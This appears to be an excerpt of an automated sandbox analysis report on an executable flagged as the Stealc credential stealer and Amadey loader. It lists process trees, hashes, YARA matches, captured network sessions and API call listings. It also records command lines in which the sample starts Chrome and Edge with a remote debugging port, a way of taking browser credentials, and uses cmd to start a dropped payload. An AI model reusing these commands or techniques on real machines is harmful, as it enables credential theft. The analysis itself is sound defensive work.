2024-11-23 04:03:03 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:03:02 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:03:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:03 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 529557e1-c01e-0079-5045-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040303Z-15b8b599d88wn9hhhC1TEBry0g00000002e000000000bmy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:03:03 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Target ID:	0
Start time:	23:02:15
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb40000
File size:	1'842'688 bytes
MD5 hash:	95F3CA862E25C3F480A223CCCCB012DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2741444292.0000000000888000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2224417817.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2742447007.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:02:26
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:02:26
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2244,i,756847330830855966,7502689708335668289,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:02:36
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:02:37
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2248,i,10603555654738097725,8008663870441056165,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:02:37
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:02:37
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:02:41
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6456 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:02:41
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6656 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:02:42
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:02:42
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:03:05
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAEBGHDBKEB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:03:05
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:03:05
Start date:	22/11/2024
Path:	C:\Users\user\DocumentsAEBGHDBKEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsAEBGHDBKEB.exe"
Imagebase:	0x900000
File size:	1'893'376 bytes
MD5 hash:	833012C3FEA2D5FE7974D1CBBA4FC697
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2745221767.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2786535763.0000000000901000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:03:10
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x2f0000
File size:	1'893'376 bytes
MD5 hash:	833012C3FEA2D5FE7974D1CBBA4FC697
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2844110306.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2803261634.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:03:10
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2f0000
File size:	1'893'376 bytes
MD5 hash:	833012C3FEA2D5FE7974D1CBBA4FC697
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2805381358.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2846312486.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:03:37
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6644 --field-trial-handle=2256,i,595274430834665206,15825286994374826831,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	23:04:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x2f0000
File size:	1'893'376 bytes
MD5 hash:	833012C3FEA2D5FE7974D1CBBA4FC697
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.3463203597.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.3285872270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	23:04:20
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe"
Imagebase:	0x7a0000
File size:	4'411'392 bytes
MD5 hash:	D0C3D4568B6684933FD3BB8302CF9438
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FF688,00001000), ref: 6C9735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C97363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C97369F
__aulldiv.LIBCMT ref: 6C9736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C973773
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C97377E
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C9737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9737C4
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C9737CB
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C973801
__aulldiv.LIBCMT ref: 6C973883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C973902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C973918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C97394C

Strings

GTC, xrefs: 6C973912
GenuntelineI, xrefs: 6C973639
QPC, xrefs: 6C9738FC
AuthcAMDenti, xrefs: 6C973946
MOZ_TIMESTAMP_MODE, xrefs: 6C9735DB

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 7a8ffbf83bd514519975cd80037cfd8359b0eb2f503791162dfa604506fb0c43
Instruction ID: d0d750ac90ff1056bfa2ca1ce8a314314345509aeaea448e97a0786b2fb90ce2
Opcode Fuzzy Hash: 7a8ffbf83bd514519975cd80037cfd8359b0eb2f503791162dfa604506fb0c43
Instruction Fuzzy Hash: 85B1B2B1B093149BDB18DF38D44465E7BF9BB8A704F24892DE9A9D3750EB30D801CB91

Function 6C98C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C98C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C98C969
GetSystemInfo.KERNEL32(?), ref: 6C98C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C98C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C98C9E2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 84c5bfda3c6292df1de72dde4d266529e929f3c1f97298657466e5288d804581
Instruction ID: af2cd4140d1f6ca2312aa1d56a49d15fff7420ee7c03c09785c3698cf728fd2d
Opcode Fuzzy Hash: 84c5bfda3c6292df1de72dde4d266529e929f3c1f97298657466e5288d804581
Instruction Fuzzy Hash: F321F932746214ABDB04AE64EC84BAE73B9AF46704F60065AF957A7B40DB71DC04C7A1

Function 6C973060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C973095

Part of subcall function 6C9735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FF688,00001000), ref: 6C9735D5
Part of subcall function 6C9735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9735E0
Part of subcall function 6C9735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9735FD
Part of subcall function 6C9735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C97363F
Part of subcall function 6C9735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C97369F
Part of subcall function 6C9735A0: __aulldiv.LIBCMT ref: 6C9736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97309F

Part of subcall function 6C995B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9956EE,?,00000001), ref: 6C995B85
Part of subcall function 6C995B50: EnterCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995B90
Part of subcall function 6C995B50: LeaveCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995BD8
Part of subcall function 6C995B50: GetTickCount64.KERNEL32 ref: 6C995BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9730BE

Part of subcall function 6C9730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C973127
Part of subcall function 6C9730F0: __aulldiv.LIBCMT ref: 6C973140

Part of subcall function 6C9AAB2A: __onexit.LIBCMT ref: 6C9AAB30

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: a89c228e545dd288f330ab736a0b45352c27a36278ea1bf323cfc6a454b8df69
Instruction ID: 42de146e6d6d4090fffa5d769696378318457cbbfffda53b6e1066b83259dcd8
Opcode Fuzzy Hash: a89c228e545dd288f330ab736a0b45352c27a36278ea1bf323cfc6a454b8df69
Instruction Fuzzy Hash: F9F0F922D28B4C97CB10DF74A8411EE73B0AF7B11CF605319E86467651FF20A1D8C396

Non-executed Functions

Function 6C985440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C985492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9854A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9854BE
__Init_thread_footer.LIBCMT ref: 6C9854DB

Part of subcall function 6C9AAB3F: EnterCriticalSection.KERNEL32(6C9FE370,?,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB49
Part of subcall function 6C9AAB3F: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AAB7C

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

GetCurrentThreadId.KERNEL32 ref: 6C9854F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C985516
GetCurrentThreadId.KERNEL32 ref: 6C98556A
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C985577
moz_xmalloc.MOZGLUE(00000070), ref: 6C985585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C985590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9855E6
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C985606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C985616

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

GetCurrentThreadId.KERNEL32 ref: 6C98563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C985646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C98567C
free.MOZGLUE(?), ref: 6C9856AE

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9856E8
GetCurrentThreadId.KERNEL32 ref: 6C985707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C98570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C985729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C98574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C98576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C985796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9857B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9857CA

Strings

